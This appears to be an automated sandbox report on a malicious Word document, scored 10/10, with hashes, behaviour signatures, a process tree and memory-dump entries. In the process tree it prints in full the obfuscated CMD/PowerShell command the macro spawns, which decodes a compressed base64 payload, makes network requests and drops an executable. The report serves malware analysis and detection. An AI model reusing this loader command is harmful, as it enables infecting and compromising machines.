Analysis

  • max time kernel
    140s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/05/2024, 01:31

General

  • Target

    320b8e4f6641a6f6fb669731e3efa62e_JaffaCakes118.doc

  • Size

    77KB

  • MD5

    320b8e4f6641a6f6fb669731e3efa62e

  • SHA1

    1264936a44182b34ea8974ebe3a5e2c38cd215b4

  • SHA256

    6927bae59fc2addc669073d78eadeb3878e9f0dbab6ff5fe222090da657464dc

  • SHA512

    b721802de2021af2c78da895f80f028a8638a0f03848e0cc6a7a251ee8317108d32b237c48faeb35f03549e1cc4a3534678f63370c13755184054c103025b1d1

  • SSDEEP

    768:tVzVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9uiCgiJI9Ew6B:Dzocn1kp59gxBK85fBt+a9hCU

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\320b8e4f6641a6f6fb669731e3efa62e_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3324
    • C:\Windows\SYSTEM32\CMD.exe
      CMD c:\wINDOwS\syStEm32\Cmd.exe /C "SEt iPaof= ^& ( $SHeLLiD[1]+$SHEllid[13]+'x')( NEw-ObjeCt iO.compreSsIOn.DefLAteSTream([SYstEm.iO.MeMOrYstREAm] [sYStEM.CONvERT]::FRoMBAsE64striNg('PZBda8IwGIX/Si8KUZzJ0LkPQ8F94Ow+3GC64dhNmr6tsTEJaWyt4n9fK3O373l43sPx38IkUFB2dbQC7rwpOPwF0b0UoBz178IyQEvnzJCQ1DDM9RobR/Q6k7vHXvY8+sskMKvwCqytthvMFeE25b2L+JTnEsBUUU1xC8wJrfLGRQZqvuGf/eLEJdVOZAxvlDAa5xmJmWMkBU1YWvchJSvIq33/rha3/591waSEWFvMJRk8za8mk+u8P0P4w0jhWmiE2tR3u4UXeOjm8hxRfzxLAh9UMXSwNh30gzpN3kEYtoBoouuGfNnyp/LFE8prNmjvna32fr0VftClkprFYyHhyJx5jbBNQ1XoDLphLT1eaFR7MnrgzPHl/nD4BQ==') , [sYsTEM.io.comPRessIon.comPressIoNMODe]::decoMPress ) ^| FOreacH{ NEw-ObjeCt Io.sTREaMreadeR($_,[SYsTEm.teXT.ENCoDiNG]::aSCII )}^|FoReACh{ $_.rEAdtoeNd() }) && poWErShelL SET-vARiABlE ( 'F31' + 'K' ) ([tYpe](\"{2}{3}{0}{1}\" -f 'iRonMEN','T','e','Nv' ) ) ; ${ExeCUtIONContEXT}.\"INvo`kE`ComMand\".\"i`NvO`K`esCRiPt\"( ( ( vArIaBLE ('F31' + 'k' ) ).VALUe::( \"{3}{2}{4}{5}{1}{0}\" -f'E','abL','ronM','geteNVi','eNT','varI' ).Invoke(( \"{1}{0}\"-f'f','iPAO' ),( \"{0}{1}{2}\"-f 'Pr','OCeS','S' )) ) )"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4156
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWErShelL SET-vARiABlE ( 'F31' + 'K' ) ([tYpe](\"{2}{3}{0}{1}\" -f 'iRonMEN','T','e','Nv' ) ) ; ${ExeCUtIONContEXT}.\"INvo`kE`ComMand\".\"i`NvO`K`esCRiPt\"( ( ( vArIaBLE ('F31' + 'k' ) ).VALUe::( \"{3}{2}{4}{5}{1}{0}\" -f'E','abL','ronM','geteNVi','eNT','varI' ).Invoke(( \"{1}{0}\"-f'f','iPAO' ),( \"{0}{1}{2}\"-f 'Pr','OCeS','S' )) ) )
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2724
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1328 --field-trial-handle=3060,i,1774866140584649235,8085848018931772189,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:2900

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\960.exe

      Filesize

      1KB

      MD5

      31386c6611e507175f05b343262a8055

      SHA1

      bf6df137f0773539334542fc99272c0766fd93a4

      SHA256

      626ce2736bcd81688742141490e1b678c11b7ab2157e1291b1b5032568b9c448

      SHA512

      aa21cc6e8b39d9de99b9043b32cd6184c0741b8e81f2547f825df77ff0cf7e8e80ed15915db7cf3b20aa33246be1078dfca48671a8eb9bd73079332403e37736

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4t5fu03x.czh.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2724-43-0x0000020FFD330000-0x0000020FFD352000-memory.dmp

      Filesize

      136KB

    • memory/3324-35-0x00007FFA54AAD000-0x00007FFA54AAE000-memory.dmp

      Filesize

      4KB

    • memory/3324-37-0x00007FFA54A10000-0x00007FFA54C05000-memory.dmp

      Filesize

      2.0MB

    • memory/3324-5-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

      Filesize

      64KB

    • memory/3324-6-0x00007FFA54A10000-0x00007FFA54C05000-memory.dmp

      Filesize

      2.0MB

    • memory/3324-7-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

      Filesize

      64KB

    • memory/3324-8-0x00007FFA54A10000-0x00007FFA54C05000-memory.dmp

      Filesize

      2.0MB

    • memory/3324-9-0x00007FFA54A10000-0x00007FFA54C05000-memory.dmp

      Filesize

      2.0MB

    • memory/3324-10-0x00007FFA12A30000-0x00007FFA12A40000-memory.dmp

      Filesize

      64KB

    • memory/3324-11-0x00007FFA12A30000-0x00007FFA12A40000-memory.dmp

      Filesize

      64KB

    • memory/3324-25-0x00007FFA54A10000-0x00007FFA54C05000-memory.dmp

      Filesize

      2.0MB

    • memory/3324-26-0x00007FFA54A10000-0x00007FFA54C05000-memory.dmp

      Filesize

      2.0MB

    • memory/3324-0-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

      Filesize

      64KB

    • memory/3324-36-0x00007FFA54A10000-0x00007FFA54C05000-memory.dmp

      Filesize

      2.0MB

    • memory/3324-4-0x00007FFA54A10000-0x00007FFA54C05000-memory.dmp

      Filesize

      2.0MB

    • memory/3324-1-0x00007FFA54AAD000-0x00007FFA54AAE000-memory.dmp

      Filesize

      4KB

    • memory/3324-2-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

      Filesize

      64KB

    • memory/3324-3-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

      Filesize

      64KB

    • memory/3324-64-0x00007FFA54A10000-0x00007FFA54C05000-memory.dmp

      Filesize

      2.0MB

    • memory/3324-65-0x00007FFA54A10000-0x00007FFA54C05000-memory.dmp

      Filesize

      2.0MB

    • memory/3324-66-0x00007FFA54A10000-0x00007FFA54C05000-memory.dmp

      Filesize

      2.0MB

    • memory/3324-85-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

      Filesize

      64KB

    • memory/3324-86-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

      Filesize

      64KB

    • memory/3324-88-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

      Filesize

      64KB

    • memory/3324-87-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

      Filesize

      64KB

    • memory/3324-89-0x00007FFA54A10000-0x00007FFA54C05000-memory.dmp

      Filesize

      2.0MB